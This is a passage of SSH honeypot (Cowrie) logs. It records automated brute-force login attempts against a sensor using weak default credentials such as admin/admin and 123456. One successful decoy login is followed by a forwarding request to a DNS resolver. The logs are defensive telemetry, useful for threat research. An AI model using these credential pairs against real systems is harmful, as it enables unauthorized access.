0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:46.483962Z","src_ip":"172.237.20.62","session":"36ecb77d1e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:46.962210Z","src_ip":"172.237.20.62","session":"36ecb77d1e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:48.124228Z","src_ip":"172.237.20.62","session":"36ecb77d1e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48174,"dst_ip":"159.203.135.109","dst_port":22,"session":"791f288f06be","protocol":"ssh","message":"New connection: 172.237.20.62:48174 (159.203.135.109:22) [session: 791f288f06be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:57.321646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:57.326127Z","src_ip":"172.237.20.62","session":"791f288f06be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:57.485260Z","src_ip":"172.237.20.62","session":"791f288f06be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:57.965256Z","src_ip":"172.237.20.62","session":"791f288f06be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:17:59.128418Z","src_ip":"172.237.20.62","session":"791f288f06be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46730,"dst_ip":"159.203.135.109","dst_port":22,"session":"f05f682d2b84","protocol":"ssh","message":"New connection: 172.237.20.62:46730 (159.203.135.109:22) [session: f05f682d2b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:08.192083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:08.201421Z","src_ip":"172.237.20.62","session":"f05f682d2b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:08.354868Z","src_ip":"172.237.20.62","session":"f05f682d2b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:08.995125Z","src_ip":"172.237.20.62","session":"f05f682d2b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:10.159378Z","src_ip":"172.237.20.62","session":"f05f682d2b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45972,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7846cd1acbd","protocol":"ssh","message":"New connection: 87.251.64.176:45972 (10.17.0.5:22) [session: c7846cd1acbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:15.872891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:15.878477Z","src_ip":"87.251.64.176","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:15.975875Z","src_ip":"87.251.64.176","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:16.268314Z","src_ip":"87.251.64.176","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:16.365410Z","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:16.464359Z","src_ip":"87.251.64.176","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:16.563779Z","src_ip":"87.251.64.176","session":"c7846cd1acbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49542,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b3c54b7c52","protocol":"ssh","message":"New connection: 172.237.20.62:49542 (159.203.135.109:22) [session: 58b3c54b7c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:19.183452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:19.268398Z","src_ip":"172.237.20.62","session":"58b3c54b7c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:19.350197Z","src_ip":"172.237.20.62","session":"58b3c54b7c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:19.991020Z","src_ip":"172.237.20.62","session":"58b3c54b7c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:21.156053Z","src_ip":"172.237.20.62","session":"58b3c54b7c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49276,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27e68662d3f","protocol":"ssh","message":"New connection: 172.237.20.62:49276 (159.203.135.109:22) [session: e27e68662d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:30.119021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:30.124454Z","src_ip":"172.237.20.62","session":"e27e68662d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:30.284431Z","src_ip":"172.237.20.62","session":"e27e68662d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:30.804076Z","src_ip":"172.237.20.62","session":"e27e68662d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:31.965948Z","src_ip":"172.237.20.62","session":"e27e68662d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36172,"dst_ip":"10.17.0.5","dst_port":22,"session":"31922ccd0421","protocol":"ssh","message":"New connection: 80.94.92.184:36172 (10.17.0.5:22) [session: 31922ccd0421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:36.565535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:36.857254Z","src_ip":"80.94.92.184","session":"31922ccd0421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:36.861137Z","src_ip":"80.94.92.184","session":"31922ccd0421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:38.316773Z","src_ip":"80.94.92.184","session":"31922ccd0421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:39.639702Z","src_ip":"80.94.92.184","session":"31922ccd0421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46452,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ba6a844853","protocol":"ssh","message":"New connection: 172.237.20.62:46452 (159.203.135.109:22) [session: 03ba6a844853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:40.894915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:40.899223Z","src_ip":"172.237.20.62","session":"03ba6a844853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:41.063019Z","src_ip":"172.237.20.62","session":"03ba6a844853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:41.552851Z","src_ip":"172.237.20.62","session":"03ba6a844853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:42.718720Z","src_ip":"172.237.20.62","session":"03ba6a844853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36602,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2941f8577d6","protocol":"ssh","message":"New connection: 172.237.20.62:36602 (159.203.135.109:22) [session: e2941f8577d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:52.000943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:52.006121Z","src_ip":"172.237.20.62","session":"e2941f8577d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:52.167806Z","src_ip":"172.237.20.62","session":"e2941f8577d6","protocol":"ssh"}
